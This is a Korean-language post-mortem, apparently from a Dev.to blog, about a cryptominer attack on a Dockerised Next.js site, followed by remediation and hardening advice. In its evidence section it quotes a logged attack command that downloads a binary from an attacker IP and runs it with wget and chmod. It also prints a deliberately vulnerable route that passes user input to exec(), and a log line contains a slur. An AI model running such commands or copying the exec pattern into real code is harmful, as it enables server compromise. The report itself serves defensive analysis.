보안 사고 보고서: Next.js 애플리케이션에 대한 크립토마이너 공격

발행: (2025년 12월 13일 오후 01:46 GMT+9)
8 min read
원문: Dev.to

Source: Dev.to

소개

2025년 12월 7‑8일, DigitalOcean Ubuntu 드롭릿에서 실행 중이던 Next.js 포트폴리오 애플리케이션 luisfaria.dev가 자동화된 크립토마이닝 공격에 의해 침해되었습니다. 공격자는 Docker‑컨테이너화된 Next.js 앱 내부에서 원격 코드를 실행해 암호화폐 채굴기를 배포했으며, 이 채굴기는 몇 시간 동안 실행된 뒤 탐지되었습니다.

이 문서는 사후 분석 및 교육 자료로, 공격이 어떻게 발생했는지, 무엇이 손상되었는지, 그리고 유사한 사고를 방지하기 위한 방법을 설명합니다.

타임라인

이벤트시간 (UTC)
공격 시작~12월 7 21:52
탐지12월 8 ≈ 18:00 (컨테이너 비정상 동작)
복구12월 9 (전체 재빌드 및 조사)
문서 게시12월 10 (본 문서)

공격 개요

  • 크립토마이너 배포 – 두 개의 채굴 프로세스(XXaFNLHKrunnv)가 4시간 이상 실행됨.
  • 자원 고갈 – CPU 사용량 급증으로 애플리케이션 타임아웃 발생.
  • 지속성 시도 – 악성코드가 systemd 서비스를 만들려 했지만 실패함.
  • 프로세스 생성 – 40개 이상의 좀비 쉘 프로세스가 생성됨.
  • Nginx 오류 – “upstream timed out (110: Operation timed out)” 메시지 다수.
  • 컨테이너 응답 없음 – Docker 명령이 매우 느려짐.
  • HTTP 499/504 오류 – 요청이 실패하거나 타임아웃됨.

프로세스 스냅샷

docker compose exec webapp ps aux
PID   USER   TIME   COMMAND
1126  nextjs 4h24   ./XXaFNLHK          # Cryptominer #1
1456  nextjs 3h49   /tmp/runnv/runnv    # Cryptominer #2
40+   nextjs 0:00   [sh]                # Zombie shells

증거

악성 HTTP 요청

141.98.11.98 - POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20jew.arm7%3B%20wget%20http%3A%2F%2F78.142.18.92%2Fbins%2Fjew.arm7%3B%20chmod%20777%20jew.arm7%3B%20.%2Fjew.arm7%20tbk

디코딩된 명령

cd /tmp; rm jew.arm7; wget http://78.142.18.92/bins/jew.arm7; chmod 777 jew.arm7; ./jew.arm7 tbk

이 패턴은 인터넷에 노출된 서버를 대상으로 퍼지는 알려진 IoT/라우터 익스플로잇과 일치합니다. Next.js 애플리케이션의 응답은 코드 실행 취약점이 있음을 나타냅니다.

다운로드된 파일

경로설명
/tmp/runnv/runnv8.3 MB 바이너리 – 크립토마이너
/tmp/runnv/config.json채굴 풀 설정 파일
/tmp/alive.service시스템드 지속성 시도 (실패)
/tmp/lived.service시스템드 지속성 시도 (실패)
./XXaFNLHK보조 채굴기 바이너리

공격자 인프라

  • 89.144.31.18 – 초기 페이로드 다운로드 서버 (x86 바이너리)
  • 78.142.18.92 – 보조 악성코드 배포 서버

애플리케이션 로그 조각

⨯ [Error: NEXT_REDIRECT] {
  digest: '12334\nmy nuts itch nigga\nMEOWWWWWWWWW'
}

커스텀 digest 값은 API 라우트 또는 Server Action에서 사용자 입력을 제대로 정제하지 않아 쉘 명령이 삽입될 수 있음을 시사합니다. 오류는 Next.js에 의해 포착되었지만, 명령은 이미 실행되었습니다.

취약 코드 예시

// VULNERABLE – DO NOT USE
export async function POST(request) {
  const { command } = await request.json();
  const { exec } = require('child_process');
  exec(command); // 🚨 Executes arbitrary commands
  return Response.json({ success: true });
}

Docker 보안 평가

Docker가 방지한 것

  • 채굴기가 /dev/에 쓰지 못함 (권한 거부).
  • 시스템드 서비스 설치 불가 (컨테이너 내부에 systemd 없음).
  • 파일 시스템 접근이 컨테이너 범위로 제한됨.
  • 컨테이너가 호스트 시스템과 격리됨.

Docker가 방지하지 못한

  • 컨테이너 내부에서의 임의 코드 실행.
  • 높은 CPU 사용량.
  • 채굴 풀로의 외부 네트워크 연결.
  • 컨테이너 내 /tmp/에 대한 쓰기.

복구 단계

  1. 침해된 컨테이너 중지

    docker compose down
  2. 포렌식 증거 보존

    docker logs frontend_app > ~/attack_logs.txt
    docker logs nginx_gateway > ~/nginx_logs.txt
  3. 깨끗한 소스로 재빌드

    cd /var/www/portfolio
    git pull origin master --ff-only
    docker compose build --no-cache
    docker compose up -d
  4. 정상 상태 확인

    docker compose ps
    docker compose exec webapp ps aux   # 의심스러운 프로세스 없어야 함

작업 항목

  • 감사 모든 API 라우트에서 exec(), spawn(), eval(), Function() 사용 여부 확인.
  • 검토 Server Action에 대한 입력 검증이 적절히 이루어지는지 확인.
  • 실행 npm audit 및 취약 의존성 업데이트.
  • 업그레이드 Next.js 최신 버전 적용 (이전 15.3.2).
  • 구현 모든 사용자‑노출 엔드포인트에 대한 엄격한 입력 정제.

위험 함수 검색

# Find dangerous functions in the codebase
grep -rE "exec|spawn|eval|Function\(" . \
  --include="*.js" --include="*.ts" \
  --exclude-dir=node_modules

정제되지 않은 Server Action 확인

grep -r "use server" . --include="*.js" --include="*.ts"

Docker 강화

비루트 사용자 실행 (이미 적용)

USER nextjs

자원 제한

# docker‑compose.yml
deploy:
  resources:
    limits:
      cpus: '1.0'
      memory: 512M

네트워크 격리

# docker‑compose.yml
networks:
  frontend:
    driver: bridge
  backend:
    driver: bridge
    internal: true   # 백엔드에 인터넷 접근 차단

Nginx 강화

# Rate limiting to mitigate automated attacks
limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;

server {
    location /api/ {
        limit_req zone=api burst=20 nodelay;
        # ... other directives ...
    }
}

입력 검증 (핵심)

// SECURE CODE – never execute user input directly
import { z } from 'zod';

const schema = z.object({
  action: z.enum(['allowed', 'actions', 'only']),
  value:  z.string().max(100).regex(/^[a-zA-Z0-9]+$/)
});

export async function POST(request) {
  const body = await request.json();

  const result = schema.safeParse(body);
  if (!result.success) {
    return Response.json({ error: 'Invalid input' }, { status: 400 });
  }

  // Perform safe, predefined operations here
}

모니터링 및 알림

  • 컨테이너 자원 모니터링

    docker stats frontend_app
  • CPU 사용량 급증에 대한 알림 설정 (예: Prometheus + Grafana).

CORS 설정 업데이트

// src/index.ts
const corsOptions = {
  origin: config.nodeEnv === 'production'
    ? ['https://luisfaria.dev']   // ✅ production domain
    : 'http://localhost:3000',
  credentials: true,
};

요약 체크리스트

  • 사용자 입력을 직접 실행하지 않기.
  • 엄격한 입력 검증 적용 (Zod, Joi 등).
  • npm audit를 정기적으로 실행 (프론트엔드·백엔드 모두).
  • 최소 권한 컨테이너 사용 (USER nextjs).
  • CPU·메모리 제한 적용 (Issue #34).
  • 서비스 간 네트워크 격리 구현 (Issue #40).
  • Nginx 레이트 리밋 및 보안 헤더 추가 (Issue #33).
  • 모든 API 라우트에 대한 입력 검증 강화 (Issue #29).
  • 자원 급증에 대한 모니터링·알림 배치 (Issue #39).
  • CORS를 프로덕션 도메인만 허용하도록 업데이트 (Issue #32).
  • Next.js 및 모든 의존성을 최신 상태로 유지.
Back to Blog

관련 글

더 보기 »